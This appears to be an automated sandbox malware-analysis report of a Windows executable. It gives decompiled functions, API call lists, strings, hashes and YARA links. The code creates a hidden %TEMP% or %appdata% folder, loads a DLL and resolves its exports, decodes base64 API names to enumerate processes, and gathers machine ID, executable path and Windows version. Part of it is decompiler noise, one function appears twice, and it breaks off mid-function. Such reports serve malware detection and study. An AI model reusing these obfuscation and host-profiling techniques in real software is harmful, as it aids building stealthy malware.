				intOrPtr* _t52;
				intOrPtr* _t57;
				intOrPtr* _t62;
				intOrPtr* _t67;
				intOrPtr* _t72;
				intOrPtr* _t77;
				intOrPtr* _t82;
				intOrPtr* _t87;
				intOrPtr* _t92;
				intOrPtr* _t97;
				intOrPtr* _t102;
				intOrPtr* _t107;
				intOrPtr* _t112;
				intOrPtr* _t129;
				intOrPtr* _t131;
				intOrPtr _t140;
				intOrPtr _t149;
				void* _t150;

				_t150 = __eflags;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(__ebx);
				_v8 = __eax;
				E00403980(_v8);
				_push(_t149);
				_push(0x409963);
				_push( *[fs:eax]);
				 *[fs:eax] = _t149;
				 *0x41b0d8 = 0;
				E004062FC(L"%TEMP%\\2fda\\",  &_v12, _t150);
				E00403C18(0x41ca5c, _v12);
				CreateDirectoryW(E00403D98( *0x41ca5c), 0); // executed
				E004094E0( *0x41ca5c, 0x41ca58, _v8, 0x41ca5c, _t150);
				_t129 =  *0x41b3c4; // 0x41c7ac
				E00403E14( &_v16,  *_t129,  *0x41ca5c, _t150);
				_t31 = E0040776C(_v16, 0x41ca58,  *_t129); // executed
				_t151 = _t31;
				if(_t31 == 0) {
					E004062FC(L"%appdata%\\2fda\\",  &_v20, _t151);
					E00403C18(0x41ca5c, _v20);
					CreateDirectoryW(E00403D98( *0x41ca5c), 0);
					E004094E0( *0x41ca5c, 0x41ca58, _v8, 0x41ca5c, _t151);
				}
				_t34 =  *0x41b3ac; // 0x41c6ac
				 *((intOrPtr*)( *_t34))(L"PATH", E00403D98( *0x41ca5c));
				SetCurrentDirectoryW(E00403D98( *0x41ca5c)); // executed
				_t131 =  *0x41b3c4; // 0x41c7ac
				E00403E14( &_v24,  *_t131,  *0x41ca5c, _t151);
				_t46 = LoadLibraryExW(E00403D98(_v24), 0, 8); // executed
				 *0x41ca58 = _t46;
				if( *0x41ca58 != 0) {
					_t52 =  *0x41b37c; // 0x41c994
					 *0x41ca20 = GetProcAddress( *0x41ca58, E00403990( *_t52));
					_t57 =  *0x41b42c; // 0x41c998
					 *0x41ca24 = GetProcAddress( *0x41ca58, E00403990( *_t57));
					_t62 =  *0x41b14c; // 0x41c99c
					 *0x41ca28 = GetProcAddress( *0x41ca58, E00403990( *_t62));
					_t67 =  *0x41b214; // 0x41c9a0
					 *0x41ca2c = GetProcAddress( *0x41ca58, E00403990( *_t67));
					_t72 =  *0x41b418; // 0x41c9a4
					 *0x41ca30 = GetProcAddress( *0x41ca58, E00403990( *_t72));
					_t77 =  *0x41b2a4; // 0x41c9a8
					 *0x41ca34 = GetProcAddress( *0x41ca58, E00403990( *_t77));
					_t82 =  *0x41b328; // 0x41c9ac
					 *0x41ca38 = GetProcAddress( *0x41ca58, E00403990( *_t82));
					_t87 =  *0x41b318; // 0x41c7d8
					 *0x41ca3c = GetProcAddress( *0x41ca58, E00403990( *_t87));
					_t92 =  *0x41b2bc; // 0x41c7dc
					 *0x41ca40 = GetProcAddress( *0x41ca58, E00403990( *_t92));
					_t97 =  *0x41b408; // 0x41c7e0
					 *0x41ca44 = GetProcAddress( *0x41ca58, E00403990( *_t97));
					_t102 =  *0x41b3b8; // 0x41c7e4
					 *0x41ca48 = GetProcAddress( *0x41ca58, E00403990( *_t102));
					_t107 =  *0x41b2f0; // 0x41c7e8
					 *0x41ca4c = GetProcAddress( *0x41ca58, E00403990( *_t107));
					_t112 =  *0x41b48c; // 0x41c7ec
					 *0x41ca50 = GetProcAddress( *0x41ca58, E00403990( *_t112));
					if( *0x41ca20 != 0 &&  *0x41ca24 != 0 &&  *0x41ca28 != 0 &&  *0x41ca2c != 0 &&  *0x41ca30 != 0 &&  *0x41ca34 != 0 &&  *0x41ca38 != 0 &&  *0x41ca3c != 0 &&  *0x41ca40 != 0 &&  *0x41ca44 != 0 &&  *0x41ca48 != 0 &&  *0x41ca4c != 0 &&  *0x41ca50 != 0) {
						 *0x41b0d8 = 1;
					}
				}
				_pop(_t140);
				 *[fs:eax] = _t140;
				_push(E0040996A);
				E00403BF4( &_v24, 4);
				return E004034E4( &_v8);
			}

0x00409668
0x0040966d
0x0040966e
0x0040966f
0x00409670
0x00409671
0x00409672
0x00409674
0x0040967a
0x0040968b
0x0040968c
0x00409691
0x00409694
0x00409697
0x004096a6
0x004096b0
0x004096bf
0x004096c9
0x004096ce
0x004096db
0x004096e3
0x004096e8
0x004096ea
0x004096f4
0x004096fe
0x0040970d
0x00409717
0x00409717
0x00409729
0x00409730
0x00409741
0x00409747
0x00409754
0x00409762
0x00409767
0x0040976c
0x00409772
0x00409787
0x0040978c
0x004097a1
0x004097a6
0x004097bb
0x004097c0
0x004097d5
0x004097da
0x004097ef
0x004097f4
0x00409809
0x0040980e
0x00409823
0x00409828
0x0040983d
0x00409842
0x00409857
0x0040985c
0x00409871
0x00409876
0x0040988b
0x00409890
0x004098a5
0x004098aa
0x004098bf
0x004098cb
0x00409939
0x00409939
0x004098cb
0x00409942
0x00409945
0x00409948
0x00409955
0x00409962

APIs

Part of subcall function 00403C18: SysReAllocStringLen.OLEAUT32(?,00406C70,00000002), ref: 00403C2E

CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?), ref: 004096BF

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6), ref: 0040970D
SetCurrentDirectoryW.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?,?,00000000), ref: 00409741
LoadLibraryExW.KERNEL32(00000000,00000000,00000008,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?,?), ref: 00409762
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409782
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040979C
GetProcAddress.KERNEL32(00000000,00000000), ref: 004097B6
GetProcAddress.KERNEL32(00000000,00000000), ref: 004097D0
GetProcAddress.KERNEL32(00000000,00000000), ref: 004097EA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409804
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040981E
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409838
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409852
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040986C
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409886
GetProcAddress.KERNEL32(00000000,00000000), ref: 004098A0
GetProcAddress.KERNEL32(00000000,00000000), ref: 004098BA

Strings

%TEMP%\2fda\, xrefs: 004096A1
%appdata%\2fda\, xrefs: 004096EF
PATH, xrefs: 00409724

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$Directory$Create$AllocAttributesCurrentFileLibraryLoadString
String ID: %TEMP%\2fda\$%appdata%\2fda\$PATH
API String ID: 2652973473-1556614757
Opcode ID: e83f966fcc5a4525bafdda06ab31be619aaf0602342af9fe6afb8e2700cdce01
Instruction ID: 26c99af69019636de113f168175dae5416f6f3cc59ad43c6f3cb6d4c520b39b5
Opcode Fuzzy Hash: e83f966fcc5a4525bafdda06ab31be619aaf0602342af9fe6afb8e2700cdce01
Instruction Fuzzy Hash: A191D7B06402049FD711EF69D885F9A77E8BF49349F00847AB404EB7A6C778AD44CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00416288, Relevance: 26.5, APIs: 10, Strings: 5, Instructions: 216
libraryloaderprocessCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00416288(intOrPtr* __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				long _v12;
				signed int _v16;
				char _v17;
				char _v24;
				char _v28;
				void* _v584;
				char _v588;
				char _v592;
				char _v596;
				char _v600;
				char _v604;
				char _v608;
				char _v612;
				signed int _t109;
				signed int _t110;
				CHAR* _t115;
				CHAR* _t121;
				CHAR* _t127;
				void* _t136;
				void* _t139;
				void* _t143;
				void* _t171;
				signed int _t172;
				void* _t173;
				struct tagPROCESSENTRY32W* _t174;
				intOrPtr* _t175;
				signed int _t184;
				int _t191;
				void* _t194;
				signed int _t195;
				signed int _t196;
				intOrPtr _t215;
				intOrPtr _t217;
				signed int _t230;
				_Unknown_base(*)()* _t240;
				signed int _t241;
				signed int _t243;
				void* _t244;
				void* _t247;
				intOrPtr _t248;

				_t239 = __esi;
				_t109 = __eax +  *__eax;
				 *_t109 =  *_t109 + _t109;
				_t110 = _t109 | 0x5500000a;
				_t246 = _t247;
				_t248 = _t247 + 0xfffffda0;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v612 = 0;
				_v608 = 0;
				_v604 = 0;
				_v596 = 0;
				_v600 = 0;
				_v592 = 0;
				_v588 = 0;
				_v8 = 0;
				_v24 = 0;
				_v16 = _t110;
				_push(_t247);
				_push(0x4165c6);
				_push( *[fs:eax]);
				 *[fs:eax] = _t248;
				E004069A8("Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90", __ebx,  &_v588, __edi, __esi);
				_t115 = E00403990(_v588);
				E004069A8("UHJvY2VzczMyRmlyc3RX", GetProcAddress(LoadLibraryA("kernel32.dll"), _t115),  &_v592, __edi, __esi);
				_t121 = E00403990(_v592);
				_t236 = GetProcAddress(LoadLibraryA("kernel32.dll"), _t121);
				E004069A8("UHJvY2VzczMyTmV4dFc=", _t117,  &_v596, _t123, __esi);
				_t127 = E00403990(_v596);
				E004069A8("a2VybmVsMzIuZGxs", _t117,  &_v600, _t123, _t239);
				_t240 = GetProcAddress(LoadLibraryA(E00403990(_v600)), _t127);
				E004034E4(_v16);
				_t136 = CreateToolhelp32Snapshot(2, 0); // executed
				_t194 = _t136;
				if(_t194 != 0xffffffff) {
					_v584 = 0x22c;
					_t174 =  &_v584;
					Process32FirstW(_t194, _t174); // executed
					if(_t174 != 0) {
						do {
							_push(E00404648(_v8) + 1);
							E00404804();
							_t184 = E00404648(_v8);
							_t244 =  &_v584;
							memcpy(_v8 + _t184 * 0x8b * 4 - 0x22c, _t244, 0x8b << 2);
							_t248 = _t248 + 0x10;
							_t236 = _t244 + 0x116;
							_t240 = _t240;
							 *((intOrPtr*)(_v8 + E00404648(_v8) * 0x8b * 4 - 0x20c)) = 0;
							_t191 = Process32NextW(_t194,  &_v584); // executed
						} while (_t191 != 0);
					}
					_t175 =  *0x41b1b4; // 0x41c690
					 *((intOrPtr*)( *_t175))(_t194);
				}
				_t139 = E00404648(_v8) - 1;
				if(_t139 >= 0) {
					_v28 = _t139 + 1;
					_t196 = 0;
					do {
						_v17 = 1;
						_t171 = E00404648(_v8) - 1;
						if(_t171 >= 0) {
							_t173 = _t171 + 1;
							_t230 = 0;
							do {
								_t43 = _t196 * 0x8b * 4; // 0x0
								_t243 = _t230 * 0x8b;
								_t236 = _v8;
								_t47 = _t243 * 4; // 0x1ffff
								if( *((intOrPtr*)(_v8 + _t43 + 0x18)) ==  *((intOrPtr*)(_v8 + _t47 + 8))) {
									_v17 = 0;
								}
								_t230 = _t230 + 1;
								_t173 = _t173 - 1;
							} while (_t173 != 0);
						}
						_t172 = _t196 * 0x8b;
						_t52 = _t172 * 4; // 0x0
						_t56 = _t172 * 4; // 0x1ffff
						if( *((intOrPtr*)(_v8 + _t52 + 0x18)) ==  *((intOrPtr*)(_v8 + _t56 + 8))) {
							_v17 = 1;
						}
						if(_v17 == 1) {
							 *((intOrPtr*)(_v8 + 0x20 + _t172 * 4)) = 1;
						}
						_t196 = _t196 + 1;
						_t64 =  &_v28;
						 *_t64 = _v28 - 1;
					} while ( *_t64 != 0);
				}
				_v12 = GetCurrentProcessId();
				_t143 = E00404648(_v8) - 1;
				if(_t143 >= 0) {
					_v28 = _t143 + 1;
					_t195 = 0;
					do {
						_t241 = _t195 * 0x8b;
						if( *((intOrPtr*)(_v8 + 0x20 + _t241 * 4)) == 1) {
							_t75 = _t241 * 4; // 0x1ffff
							if( *((intOrPtr*)(_v8 + _t75 + 8)) != _v12) {
								_push(_v24);
								_t90 = _t241 * 4; // 0x0
								E00403760( &_v608, 0x104, _v8 + _t90 + 0x24);
								_push(_v608);
								_push(E00416680);
								E00403850();
							} else {
								_push(_v24);
								_t82 = _t241 * 4; // 0x0
								E00403760( &_v604, 0x104, _v8 + _t82 + 0x24);
								_push(_v604);
								_push(0x416674);
								_push(E00416680);
								E00403850();
							}
							_t96 = _t195 * 0x8b * 4; // 0x1ffff
							E004160EC( *((intOrPtr*)(_v8 + _t96 + 8)), _t195,  &_v612, 1, _t236, _t241, _t246);
							E00403798( &_v24, _v612);
						}
						E00403538(_v16, _v24);
						_t195 = _t195 + 1;
						_t103 =  &_v28;
						 *_t103 = _v28 - 1;
					} while ( *_t103 != 0);
				}
				_pop(_t215);
				 *[fs:eax] = _t215;
				_push(E004165CD);
				E00403508( &_v612, 7);
				E004034E4( &_v24);
				_t217 =  *0x4160c4; // 0x4160c8
				return E00404810( &_v8, _t217);
			}

0x00416288
0x00416288
0x0041628a
0x0041628c
0x00416291
0x00416293
0x00416299
0x0041629a
0x0041629b
0x0041629e
0x004162a4
0x004162aa
0x004162b0
0x004162b6
0x004162bc
0x004162c2
0x004162c8
0x004162cb
0x004162ce
0x004162d3
0x004162d4
0x004162d9
0x004162dc
0x004162ea
0x004162f5
0x00416318
0x00416323
0x00416339
0x00416346
0x00416351
0x00416362
0x0041637e
0x00416383
0x0041638c
0x0041638e
0x00416393
0x00416399
0x004163a3
0x004163ab
0x004163af
0x004163b1
0x004163ba
0x004163c9
0x004163d4
0x004163ea
0x004163f5
0x004163f5
0x004163f5
0x004163f7
0x0041640b
0x0041641a
0x0041641c
0x004163b1
0x00416421
0x00416428
0x00416428
0x00416432
0x00416435
0x00416438
0x0041643b
0x0041643d
0x0041643d
0x00416449
0x0041644c
0x0041644e
0x0041644f
0x00416451
0x0041645a
0x0041645e
0x00416464
0x00416467
0x0041646b
0x0041646d
0x0041646d
0x00416471
0x00416472
0x00416472
0x00416451
0x00416475
0x0041647e
0x00416485
0x00416489
0x0041648b
0x0041648b
0x00416493
0x00416498
0x00416498
0x004164a0
0x004164a1
0x004164a1
0x004164a1
0x0041643d
0x004164ab
0x004164b6
0x004164b9
0x004164c0
0x004164c3
0x004164c5
0x004164c5
0x004164d3
0x004164dc
0x004164e3
0x0041651e
0x0041652a
0x00416533
0x00416538
0x0041653e
0x0041654b
0x004164e5
0x004164e5
0x004164f1
0x004164fa
0x004164ff
0x00416505
0x0041650a
0x00416517
0x00416517
0x0041655a
0x00416569
0x00416578
0x00416578
0x00416583
0x00416588
0x00416589
0x00416589
0x00416589
0x004164c5
0x00416594
0x00416597
0x0041659a
0x004165aa
0x004165b2
0x004165ba
0x004165c5

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,,?,?,), ref: 00416300
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416306
LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,), ref: 0041632E
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416334
LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE), ref: 00416373
GetProcAddress.KERNEL32(00000000,00000000), ref: 00416379
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001), ref: 0041638C
Process32FirstW.KERNEL32(00000000,0000022C), ref: 004163AB
Process32NextW.KERNEL32(00000000,?), ref: 0041641A
GetCurrentProcessId.KERNEL32(?,-00000001,?,?,?,00416BAE,?,00000001,,?,?,,?,Zone: ,?,00416CA4), ref: 004164A6

Strings

Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90, xrefs: 004162E5
kernel32.dll, xrefs: 004162FB, 00416329
UHJvY2VzczMyRmlyc3RX, xrefs: 00416313
UHJvY2VzczMyTmV4dFc=, xrefs: 00416341
a2VybmVsMzIuZGxs, xrefs: 0041635D

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProc$Process32$CreateCurrentFirstNextProcessSnapshotToolhelp32
String ID: Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90$UHJvY2VzczMyRmlyc3RX$UHJvY2VzczMyTmV4dFc=$a2VybmVsMzIuZGxs$kernel32.dll
API String ID: 2493977601-4127804628
Opcode ID: ae3f1d833a6c7c3170d61cd8e2f29c2b0955221a86435c38e8620c46d6427da7
Instruction ID: 8191d344cd349c88f577da4185e159338671ce922f6aa283bd2b5e25c2800bc5
Opcode Fuzzy Hash: ae3f1d833a6c7c3170d61cd8e2f29c2b0955221a86435c38e8620c46d6427da7
Instruction Fuzzy Hash: E091A5709001199BCB10EFA9C985ADEB7B9FF84304F1181BAE508B7291D739DF858F98

Uniqueness

Uniqueness Score: -1.00%

Function 0041628C, Relevance: 26.5, APIs: 10, Strings: 5, Instructions: 214
libraryloaderprocessCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E0041628C(signed int __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				long _v12;
				signed int _v16;
				char _v17;
				char _v24;
				char _v28;
				void* _v584;
				char _v588;
				char _v592;
				char _v596;
				char _v600;
				char _v604;
				char _v608;
				char _v612;
				signed int _t109;
				CHAR* _t114;
				CHAR* _t120;
				CHAR* _t126;
				void* _t135;
				void* _t138;
				void* _t142;
				void* _t170;
				signed int _t171;
				void* _t172;
				struct tagPROCESSENTRY32W* _t173;
				intOrPtr* _t174;
				signed int _t183;
				int _t190;
				void* _t193;
				signed int _t194;
				signed int _t195;
				intOrPtr _t214;
				intOrPtr _t216;
				signed int _t229;
				_Unknown_base(*)()* _t239;
				signed int _t240;
				signed int _t242;
				void* _t243;
				void* _t246;
				intOrPtr _t247;

				_t238 = __esi;
				_t109 = __eax | 0x5500000a;
				_t245 = _t246;
				_t247 = _t246 + 0xfffffda0;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v612 = 0;
				_v608 = 0;
				_v604 = 0;
				_v596 = 0;
				_v600 = 0;
				_v592 = 0;
				_v588 = 0;
				_v8 = 0;
				_v24 = 0;
				_v16 = _t109;
				_push(_t246);
				_push(0x4165c6);
				_push( *[fs:eax]);
				 *[fs:eax] = _t247;
				E004069A8("Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90", __ebx,  &_v588, __edi, __esi);
				_t114 = E00403990(_v588);
				E004069A8("UHJvY2VzczMyRmlyc3RX", GetProcAddress(LoadLibraryA("kernel32.dll"), _t114),  &_v592, __edi, __esi);
				_t120 = E00403990(_v592);
				_t235 = GetProcAddress(LoadLibraryA("kernel32.dll"), _t120);
				E004069A8("UHJvY2VzczMyTmV4dFc=", _t116,  &_v596, _t122, __esi);
				_t126 = E00403990(_v596);
				E004069A8("a2VybmVsMzIuZGxs", _t116,  &_v600, _t122, _t238);
				_t239 = GetProcAddress(LoadLibraryA(E00403990(_v600)), _t126);
				E004034E4(_v16);
				_t135 = CreateToolhelp32Snapshot(2, 0); // executed
				_t193 = _t135;
				if(_t193 != 0xffffffff) {
					_v584 = 0x22c;
					_t173 =  &_v584;
					Process32FirstW(_t193, _t173); // executed
					if(_t173 != 0) {
						do {
							_push(E00404648(_v8) + 1);
							E00404804();
							_t183 = E00404648(_v8);
							_t243 =  &_v584;
							memcpy(_v8 + _t183 * 0x8b * 4 - 0x22c, _t243, 0x8b << 2);
							_t247 = _t247 + 0x10;
							_t235 = _t243 + 0x116;
							_t239 = _t239;
							 *((intOrPtr*)(_v8 + E00404648(_v8) * 0x8b * 4 - 0x20c)) = 0;
							_t190 = Process32NextW(_t193,  &_v584); // executed
						} while (_t190 != 0);
					}
					_t174 =  *0x41b1b4; // 0x41c690
					 *((intOrPtr*)( *_t174))(_t193);
				}
				_t138 = E00404648(_v8) - 1;
				if(_t138 >= 0) {
					_v28 = _t138 + 1;
					_t195 = 0;
					do {
						_v17 = 1;
						_t170 = E00404648(_v8) - 1;
						if(_t170 >= 0) {
							_t172 = _t170 + 1;
							_t229 = 0;
							do {
								_t43 = _t195 * 0x8b * 4; // 0x0
								_t242 = _t229 * 0x8b;
								_t235 = _v8;
								_t47 = _t242 * 4; // 0x1ffff
								if( *((intOrPtr*)(_v8 + _t43 + 0x18)) ==  *((intOrPtr*)(_v8 + _t47 + 8))) {
									_v17 = 0;
								}
								_t229 = _t229 + 1;
								_t172 = _t172 - 1;
							} while (_t172 != 0);
						}
						_t171 = _t195 * 0x8b;
						_t52 = _t171 * 4; // 0x0
						_t56 = _t171 * 4; // 0x1ffff
						if( *((intOrPtr*)(_v8 + _t52 + 0x18)) ==  *((intOrPtr*)(_v8 + _t56 + 8))) {
							_v17 = 1;
						}
						if(_v17 == 1) {
							 *((intOrPtr*)(_v8 + 0x20 + _t171 * 4)) = 1;
						}
						_t195 = _t195 + 1;
						_t64 =  &_v28;
						 *_t64 = _v28 - 1;
					} while ( *_t64 != 0);
				}
				_v12 = GetCurrentProcessId();
				_t142 = E00404648(_v8) - 1;
				if(_t142 >= 0) {
					_v28 = _t142 + 1;
					_t194 = 0;
					do {
						_t240 = _t194 * 0x8b;
						if( *((intOrPtr*)(_v8 + 0x20 + _t240 * 4)) == 1) {
							_t75 = _t240 * 4; // 0x1ffff
							if( *((intOrPtr*)(_v8 + _t75 + 8)) != _v12) {
								_push(_v24);
								_t90 = _t240 * 4; // 0x0
								E00403760( &_v608, 0x104, _v8 + _t90 + 0x24);
								_push(_v608);
								_push(E00416680);
								E00403850();
							} else {
								_push(_v24);
								_t82 = _t240 * 4; // 0x0
								E00403760( &_v604, 0x104, _v8 + _t82 + 0x24);
								_push(_v604);
								_push(0x416674);
								_push(E00416680);
								E00403850();
							}
							_t96 = _t194 * 0x8b * 4; // 0x1ffff
							E004160EC( *((intOrPtr*)(_v8 + _t96 + 8)), _t194,  &_v612, 1, _t235, _t240, _t245);
							E00403798( &_v24, _v612);
						}
						E00403538(_v16, _v24);
						_t194 = _t194 + 1;
						_t103 =  &_v28;
						 *_t103 = _v28 - 1;
					} while ( *_t103 != 0);
				}
				_pop(_t214);
				 *[fs:eax] = _t214;
				_push(E004165CD);
				E00403508( &_v612, 7);
				E004034E4( &_v24);
				_t216 =  *0x4160c4; // 0x4160c8
				return E00404810( &_v8, _t216);
			}

0x0041628c
0x0041628c
0x00416291
0x00416293
0x00416299
0x0041629a
0x0041629b
0x0041629e
0x004162a4
0x004162aa
0x004162b0
0x004162b6
0x004162bc
0x004162c2
0x004162c8
0x004162cb
0x004162ce
0x004162d3
0x004162d4
0x004162d9
0x004162dc
0x004162ea
0x004162f5
0x00416318
0x00416323
0x00416339
0x00416346
0x00416351
0x00416362
0x0041637e
0x00416383
0x0041638c
0x0041638e
0x00416393
0x00416399
0x004163a3
0x004163ab
0x004163af
0x004163b1
0x004163ba
0x004163c9
0x004163d4
0x004163ea
0x004163f5
0x004163f5
0x004163f5
0x004163f7
0x0041640b
0x0041641a
0x0041641c
0x004163b1
0x00416421
0x00416428
0x00416428
0x00416432
0x00416435
0x00416438
0x0041643b
0x0041643d
0x0041643d
0x00416449
0x0041644c
0x0041644e
0x0041644f
0x00416451
0x0041645a
0x0041645e
0x00416464
0x00416467
0x0041646b
0x0041646d
0x0041646d
0x00416471
0x00416472
0x00416472
0x00416451
0x00416475
0x0041647e
0x00416485
0x00416489
0x0041648b
0x0041648b
0x00416493
0x00416498
0x00416498
0x004164a0
0x004164a1
0x004164a1
0x004164a1
0x0041643d
0x004164ab
0x004164b6
0x004164b9
0x004164c0
0x004164c3
0x004164c5
0x004164c5
0x004164d3
0x004164dc
0x004164e3
0x0041651e
0x0041652a
0x00416533
0x00416538
0x0041653e
0x0041654b
0x004164e5
0x004164e5
0x004164f1
0x004164fa
0x004164ff
0x00416505
0x0041650a
0x00416517
0x00416517
0x0041655a
0x00416569
0x00416578
0x00416578
0x00416583
0x00416588
0x00416589
0x00416589
0x00416589
0x004164c5
0x00416594
0x00416597
0x0041659a
0x004165aa
0x004165b2
0x004165ba
0x004165c5

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,,?,?,), ref: 00416300
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416306
LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,), ref: 0041632E
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416334
LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE), ref: 00416373
GetProcAddress.KERNEL32(00000000,00000000), ref: 00416379
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001), ref: 0041638C
Process32FirstW.KERNEL32(00000000,0000022C), ref: 004163AB
Process32NextW.KERNEL32(00000000,?), ref: 0041641A
GetCurrentProcessId.KERNEL32(?,-00000001,?,?,?,00416BAE,?,00000001,,?,?,,?,Zone: ,?,00416CA4), ref: 004164A6

Strings

Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90, xrefs: 004162E5
kernel32.dll, xrefs: 004162FB, 00416329
UHJvY2VzczMyRmlyc3RX, xrefs: 00416313
UHJvY2VzczMyTmV4dFc=, xrefs: 00416341
a2VybmVsMzIuZGxs, xrefs: 0041635D

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProc$Process32$CreateCurrentFirstNextProcessSnapshotToolhelp32
String ID: Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90$UHJvY2VzczMyRmlyc3RX$UHJvY2VzczMyTmV4dFc=$a2VybmVsMzIuZGxs$kernel32.dll
API String ID: 2493977601-4127804628
Opcode ID: 30c29d9f9f76255828fe0054aefd21aa27b63753168e69cadca5cc0a532481a5
Instruction ID: 948cc98421d4847538e10b66e82c05f92fa6bf3d8733b6e628a134da397cb227
Opcode Fuzzy Hash: 30c29d9f9f76255828fe0054aefd21aa27b63753168e69cadca5cc0a532481a5
Instruction Fuzzy Hash: 8281A6709001199BCB10EF99C985ADEB7B9FF84304F1181BAE508B7291D739DF858F98

Uniqueness

Uniqueness Score: -1.00%

Function 00416974, Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 213
sleepCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00416974(intOrPtr* __eax, void* __ebx, intOrPtr* __edx, void* __esi) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				signed char _t59;
				intOrPtr* _t60;
				intOrPtr* _t142;
				void* _t143;
				intOrPtr _t173;
				void* _t181;
				intOrPtr _t184;
				intOrPtr _t185;

				_t182 = __esi;
				_t59 = __eax +  *__eax;
				 *_t59 =  *_t59 + _t59;
				asm("das");
				 *_t59 =  *_t59 + _t59;
				 *__edx =  *__edx + _t59;
				 *_t59 =  *_t59 + _t59;
				 *_t59 =  *_t59 + _t59;
				 *_t59 =  *_t59 & _t59;
				 *_t59 =  *_t59 + _t59;
				_t60 = _t59 +  *_t59;
				 *_t60 =  *_t60 + _t60;
				 *_t60 =  *_t60 + _t60;
				_t184 = _t185;
				_t143 = 0xc;
				do {
					_push(0);
					_push(0);
					_t143 = _t143 - 1;
					_t191 = _t143;
				} while (_t143 != 0);
				_t142 = _t60;
				_push(_t184);
				_push(0x416c78);
				_push( *[fs:eax]);
				 *[fs:eax] = _t185;
				_push("MachineID :   ");
				E00406CE8( &_v8, _t142, __esi); // executed
				_push(_v8);
				_push(0x416ca4);
				E00403850();
				_push( *_t142);
				_push("EXE_PATH  :   ");
				E00416684(0,  &_v12);
				_push(_v12);
				_push(0x416cc8);
				E00403850();
				_push( *_t142);
				_push("Windows    :   ");
				E00407B08( &_v28, _t142, _t181, __esi);
				_push(_v28);
				_push(0x416cf0);
				E00403850();
				E00403D88( &_v20, _v24);
				_push(_v20);
				E004066E4( &_v32, _t191);
				_push(_v32);
				_push(0x416cf8);
				E00406BD8( &_v36);
				_push(_v36);
				_push(0x416d00);
				E00403E78();
				E0040377C(_t142, _v16);
